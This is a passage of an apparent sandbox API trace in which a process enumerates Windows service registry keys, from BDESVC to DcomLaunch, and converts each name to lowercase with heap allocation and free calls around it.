RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.752] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0260.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.753] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0260.753] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.753] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.753] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.753] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.753] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Beep") returned 0x0 [0260.753] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.753] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x1de4de0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0260.753] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.753] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.753] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.753] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.753] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BFE") returned 0x0 [0260.753] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.753] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x1de4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0260.753] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.753] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.753] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.753] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.753] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BITS") returned 0x0 [0260.753] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.753] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x1de4de0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0260.753] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.753] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.753] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.753] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.753] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0260.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0260.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.754] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.754] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.754] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.754] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x30, lpName=0x1dd29e0, cchName=0x104 | out: lpName="bowser") returned 0x0 [0260.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x1de4de0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0260.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.754] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.754] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.754] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.754] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x31, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0260.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0260.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.754] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.754] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.754] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.754] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x32, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0260.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x1de4de0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0260.755] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.755] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.755] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.755] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.755] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x33, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Browser") returned 0x0 [0260.755] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.755] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0260.755] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.755] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.755] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.755] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.755] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x34, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0260.755] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.755] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x1de4de0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0260.755] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.755] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.755] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.755] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.755] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x35, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0260.755] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.755] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0260.755] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.755] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.755] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.755] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.755] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x36, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0260.755] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.756] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x1de4de0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0260.756] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.756] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.756] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.756] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.756] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x37, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0260.756] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.756] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0260.756] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.756] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.756] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.756] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.756] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x38, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0260.756] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.756] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x1de4de0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0260.756] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.756] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.756] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.756] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.756] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x39, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0260.756] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.756] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0260.756] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.756] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.757] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.757] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.757] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0260.757] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.757] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x1de4de0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0260.757] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.757] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.757] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.757] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.757] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0260.757] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.757] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x1de4408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0260.757] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.757] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.757] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.757] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.757] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0260.757] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.757] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x1de4de0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0260.757] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.757] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.757] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.757] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.757] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0260.757] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.757] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x1de4408, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0260.758] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="circlass") returned 0x0 [0260.758] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0260.758] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x40, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0260.758] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x41, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0260.758] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x42, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0260.758] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x43, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0260.758] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x44, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0260.758] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x45, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0260.758] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x46, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CNG") returned 0x0 [0260.758] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x47, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0260.758] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x48, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0260.758] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x49, lpName=0x1dd29e0, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0260.758] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0260.758] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0260.759] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0260.759] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CSC") returned 0x0 [0260.759] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CscService") returned 0x0 [0260.759] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0260.759] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x50, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DcomLaunch") returned 